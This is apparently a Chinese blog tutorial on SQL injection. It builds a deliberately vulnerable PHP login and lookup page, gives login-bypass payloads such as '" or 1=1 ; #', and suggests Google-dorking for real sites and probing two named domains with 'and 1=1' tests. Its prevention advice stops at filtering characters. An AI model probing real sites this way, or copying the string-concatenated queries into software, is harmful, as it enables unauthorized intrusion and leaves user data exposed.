白话:SQL注入

来源:互联网 发布:怎么注册淘宝外卖 编辑:程序博客网 时间:2024/06/06 12:59

SQL注入

最近在整理web安全方面的知识,发现以前写的这一篇有bug,于是重新编辑发表了一下,下面是分享内容。

SQL注入原理解释

网上和书上对SQL注入讲的感觉挺复杂的,但是就我理解来看,SQL注入就是利用数据库查询语句的漏洞,用户通过特殊的输入,构造出特殊的查询语句从而进行一些非预期的操作。这些非预期的操作包括非法登录,窃取数据库中的信息,甚至是销毁信息的操作。

简单的SQL注入实现

下面是登录数据库的创建代码:

CREATE TABLE login (  id   INT AUTO_INCREMENT PRIMARY KEY,  name VARCHAR(20),  passwd VARCHAR(20));

创建俩用户

INSERT INTO login(name,passwd) VALUES ('xiaoming','xm');INSERT INTO login(name,passwd) VALUES ('lihua','lh');

下面是登录界面:

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>登陆</title></head><body>    <form method="get" action="login.php">        <p>用户名:<input name="name" type="text"></p>        <p>密码:<input name="passwd" type="password"></p>        <input type="submit" value="登陆">    </form></body></html>

下面是登录后台处理代码

<?php/** * Created by PhpStorm. * User: zhoupan * Date: 8/24/16 * Time: 4:15 PM */if ($_GET['name'] != null) {    $name = $_GET['name'];    $passwd = $_GET['passwd'];    $connect = new mysqli('localhost', 'root', 'root');    if (!$connect) {        die('Connect DataBase Error!');    }    $select = $connect->select_db('SQLInjection');    if (!$select) {        die('Select DataBase Error!');    }    $quert = "select * from login where name = \"" . $name . "\" and passwd = \"".$passwd."\";";    $result = $connect->query($quert);    $arr = $result->fetch_array();    if (is_array($arr)) {        echo "登陆成功";    } else {        echo "登陆失败,用户名或密码错误!";    }}

正常的登录,输入用户名和密码,如果用户名和密码同时符合,则登录成功,否则失败,我们来研究以下数据库的查询语句:

$quert = "select * from login where name = \"" . $name . "\" and passwd = \"".$passwd."\";";

变换一下,方面观察:

select * from login where name = " $name " and passwd = " $passwd ";

想一下,怎样通过特殊的变量 name 和 passwd 来实SQL成功查询呢?

# 方式一$name = 任意 $passwd = " or 1=1 ; #select * from login where name = "xiaoming" and passwd = "" or 1 = 1 ; # ";# 方式二$name =" " or 1 = 1 ; # $passwd 任意select * from login where name = "xiaoming " or 1 = 1 ;# and passwd = "";

验证:
方式一:
这里写图片描述
结果:
这里写图片描述
方式二:
这里写图片描述
结果:
这里写图片描述

通过这种方式,就可以实现非法登录,从而实现某些不可告人的目的。

检测网站SQL注入漏洞

当然啦,上面是自己写的代码,自己清楚代码实现,那么我们怎么知道那些网站存在这样的漏洞呢?当然啦,最简单的方法就是自己一个一个网站来试,可以在谷歌上面键入”inurl:/news/read.php?id=”,来找符合这种规则的网站,然后一个一个的试。那么试的方法呢?这得通过猜测得到。

不如一个网页url为:http://www.qzjcsz.cn/news/read.php?id=24

那么我们推测他的SQL语句应该是:select * from table_name where id = $id

那么我们检验是否存在SQL注入漏洞时,就可以这样:http://www.qzjcsz.cn/news/read.php?id=24 and 1=1

如果可以正常返回,然后再输入:http://www.qzjcsz.cn/news/read.php?id=24 and 1=2

如果不能正确返回,则表示此网站存在SQL注入漏洞,那就恭喜你啦。

来个例子:http://cnyork.cn/news/read.php?id=179

当我们输入:http://cnyork.cn/news/read.php?id=179 and 1 = 1

出现:

这里写图片描述

而输入http://cnyork.cn/news/read.php?id=179 and 1 = 2

同样出现上面结果,表明此网站不存在简单的SQL注入漏洞

小实战

SQL:

CREATE TABLE info(  id int  AUTO_INCREMENT PRIMARY KEY ,  name VARCHAR(20) UNICODE,  balance DOUBLE DEFAULT 0);

查询界面:

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>登陆</title></head><body>    <form method="get" action="select.php">        <input type="text" name="id">        <input type="submit" value="提交">    </form></body></html>

后台响应:

<?php/** * Created by PhpStorm. * User: zhoupan * Date: 8/24/16 * Time: 11:40 AM */if($_GET['id'] != null) {    $id = $_GET['id'];    echo $id;    require_once "DB_login.php";    $connect = new mysqli($DB_HOST, $DB_USER, $DB_PASSWD);    if (!$connect) {        die("Connect DataBase Error");    }    $select = $connect->select_db($DB_NAME);    if (!$select) {        die("Select Databases Error");    }    $query = "select id,name,balance from info where id = ".$id.";";    $result = $connect->query($query);    echo "<table border='1' >";    echo "<tr><th>ID</th><th>用户名</th><th>余额</th></tr>";    while ($row = $result->fetch_array()) {        echo "<tr align='center'>";        echo "<td>" . $row['id'] . "</td>";        echo "<td>" . $row['name'] . "</td>";        echo "<td>" . $row['balance'] . "</td>";        echo "</tr>";    }}

效果图:

这里写图片描述

简述以下作用,输入id,检索出对应的信息
那么我们怎样能一次性拿出全部信息呢?
思考一下……
很简单:

这里写图片描述

结果:

这里写图片描述

怎样防止SQL注入呢?

最简单的方法,就是对用户的输入进行严格的处理过滤,去除掉特殊的字符,而想要完全避免SQL注入几乎是不可能的事情,所谓道高一尺,魔高一丈,作为开发者,我们不能完全考虑到,但是只要在编码的过程中稍微小心一点,就可以避免大多数的安全漏洞。

0 0